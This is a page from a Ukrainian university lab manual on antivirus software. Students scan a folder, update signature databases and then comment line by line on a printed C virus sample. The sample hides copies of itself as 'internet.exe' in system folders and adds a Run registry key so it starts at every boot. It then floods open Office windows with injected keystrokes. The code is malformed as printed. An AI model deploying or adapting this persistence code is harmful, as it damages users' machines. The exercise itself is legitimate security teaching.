
- •Кременчуцький державний університет
- •Укладачі: д.Т.Н., проф. М.І. Гученко, асист. О.Г. Славко, асист. П.П. Костенко
- •Перелік лабораторних робіт Лабораторна робота № 5
- •Короткі теоретичні відомості
- •Хід роботи
- •1. Сканування папок на наявність вірусів:
- •2. Оновлення антивірусної бази:
- •Варіанти завдань
- •Контрольні питання
- •Лабораторна робота № 6
- •Короткі теоретичні відомості
- •Хід роботи
- •Варіанти завдань до роботи
- •Контрольні питання
- •Лабораторна робота № 7
- •Короткі теоретичні відомості
- •Хід роботи
- •Контрольні питання
- •Лабораторна робота № 8
- •Короткі теоретичні відомості
- •Хід роботи
- •Контрольні питання:
- •Список літератури
- •Укладачі: д.Т.Н., проф. М.І. Гученко, асист. О.Г. Славко, асист. П.П. Костенко
- •39600, М. Кременчук, вул. Першотравнева, 20
Хід роботи
1. Сканування папок на наявність вірусів:
– подвійним кліком на значку антивіруса на панелі індикації відкрити головне вікно програми;
– вивчити вміст вікна, звернути увагу на дату останнього оновлення антивірусної бази і дату останньої повної перевірки комп'ютера;
– у своїй особистій папці створити папку Підозрілі файли і створити там два файли: Текстовий файл і Документ Microsoft Word. Імена файлів ввести згідно із своїм варіантом;
– вибрати пункт у головному вікні програми пункт Пошук вірусів і додати у вікно завдань папку Підозрілі файли.
– виконати перевірку папки. По завершенні сканування, використовуючи кнопку "Зберегти як..", зберегти звіт з результатами перевірки в папці Підозрілі файли. Ім'я файла-звіту – Scan_log.
– закрити вікно Пошук вірусів.
2. Оновлення антивірусної бази:
у головному меню програми вибрати пункт Сервіс.
натиснути на пункт Оновлення і, використовуючи кнопку Відновити, здійснити оновлення бази відомих вірусів.
по завершенні оновлення, використовуючи кнопку "Зберегти як..", зберегти звіт про оновлення в папці Підозрілі файли. Ім'я файла-звіту – Upd_log.
закрити вікно Оновлення та звернути увагу на пункт Дата випуску сиґнатур.
закрити вікно Антивіруса Касперського.
3. Робота з вірусом. Проаналізувати даний код, написати до чого він призводить, зробити детальні коментарі до рядків коду.
#include <windows.h>
#include <iostream.h>
WINAPI Winmain(HINSTANCE hint, HINSTANCE hprevinstance, LPSTR lpcmdline, int ncmdshow)
{
HKEY key;
char sysdir[256]
windir[256]
myname[256];
Getmodulefilename(hint,myname,256);
Getwindowsdirectory(windir,sizeof(windir));
Getsystemdirectory(sysdir,sizeof(sysdir));
strcat(windir,"internet.exe");
strcat(sysdir,"internet.exe");
Copyfile(myname,windir,false);
Copyfile(myname,sysdir,false);
Setfileattributes(windir,file_attribute_hidden);
Setfileattributes(sysdir,file_attribute_hidden);
Regopenkeyex(Hkey_local_machine, "Software\microsoft\windows\currentversion\run", 0,key_write &key);
Regsetvalueex(key,"internet.exe",0,REG_SZ,(BYTE *)sysdir,256);
Regclosekey(key);
Sleep(60000*2);
int k=0;
do {
if (Findwindow(NULL, "Microsoft Word")!=0 || Findwindow(NULL, "Microsoft Excel")!=0 || Findwindow(NULL, "Microsoft Powerpoint")!=0)
{
Showwindow(Findwindow(NULL, "Microsoft Word"), Sc_maximize);
Loadkeyboardlayout("00000419_, Klf_activate);
Sleep(10000);
do
{
keybd_event(’ d', 0,0,0);
keybd_event(’ d', 0,KEYEVENTF KEYUP,0);
keybd_event(’ s', 0,0,0);
keybd_event(’ s', 0,KEYEVENTF KEYUP,0);
keybd_event(Vk_space, 0,0,0);
keybd_event(Vk_space, 0,KEYEVENTF KEYUP,0);
keybd_event(’ k', 0,0,0);
keybd_event(’ k', 0,KEYEVENTF KEYUP,0);
keybd_event(’ f', 0,0,0);
keybd_event(’ f', 0,KEYEVENTF KEYUP,0);
keybd_event(’ v', 0,0,0);
keybd_event(’ v', 0,KEYEVENTF KEYUP,0);
keybd_event(’ t', 0,0,0);
keybd_event(’ t', 0,KEYEVENTF KEYUP,0);
keybd_event(’ h', 0,0,0);
keybd_event(’ h', 0,KEYEVENTF KEYUP,0);
}while(1);
}
}while(1);
}
Варіанти завдань
Варіант |
Назва антивірусної програми |
Варіант |
Назва антивірусної програми |
1 |
Dr.Web |
11 |
Nod32 |
2 |
Mcafee Virusscan |
12 |
Trojan Hunter |
3 |
Антивірус Касперського |
13 |
Virusbuster |
4 |
Panda Anti-virus |
14 |
Norton Antivirus |
5 |
Avast! |
15 |
Windows Live Onecare |
6 |
AVS |
16 |
Pc-cillin |
7 |
AVG |
17 |
F-prot |
8 |
Avira Antivir |
18 |
F-secure Anti-virus |
9 |
Clam Antivirus |
19 |
Comodo Antivirus |
10 |
Clamwin |
20 |
Outpost Antivirus |
Зміст звіту
1. Назва та мета лабораторної роботи.
2. Вміст файла Scan_log.txt (пункт 1 "Порядку виконання роботи").
3. Зміст файла Upd_log.txt (пункт 2 "Порядку виконання роботи").
4. Коментарі до рядків коду (пункт 3 "Порядку виконання роботи").
5. Висновки.
6) Відповіді на контрольні питання.